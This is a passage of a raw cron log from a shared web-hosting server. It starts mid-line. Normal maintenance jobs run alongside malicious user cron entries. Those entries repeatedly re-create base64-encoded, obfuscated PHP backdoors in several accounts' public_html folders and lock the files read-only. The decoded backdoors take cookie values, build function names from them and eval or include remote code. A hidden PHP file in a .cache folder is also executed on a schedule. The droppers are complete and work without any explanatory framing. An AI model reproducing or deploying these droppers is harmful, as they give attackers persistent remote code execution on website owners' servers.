"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:44:02 medusa CROND[22369]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:44:02 medusa CROND[22370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:44:02 medusa CROND[22366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:45:01 medusa CROND[30091]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:45:01 medusa CROND[30108]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:45:01 medusa CROND[30197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:45:01 medusa CROND[30296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:45:02 medusa CROND[30332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:45:02 medusa CROND[30331]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  2 00:45:02 medusa CROND[30333]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30335]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:45:02 medusa CROND[30338]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30342]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:45:02 medusa CROND[30340]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:45:02 medusa CROND[30334]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:45:02 medusa CROND[30346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30347]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:45:02 medusa CROND[30345]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:45:02 medusa CROND[30349]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:45:02 medusa CROND[30352]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:45:02 medusa CROND[30351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:45:02 medusa CROND[30362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:45:02 medusa CROND[30363]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:45:02 medusa CROND[30370]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:45:02 medusa CROND[30364]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:46:01 medusa CROND[3541]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:46:02 medusa CROND[3704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:46:02 medusa CROND[3705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:46:02 medusa CROND[3707]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:46:02 medusa CROND[3703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:46:02 medusa CROND[3710]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:46:02 medusa CROND[3719]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:46:02 medusa CROND[3720]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:46:02 medusa CROND[3721]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:46:02 medusa CROND[3726]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
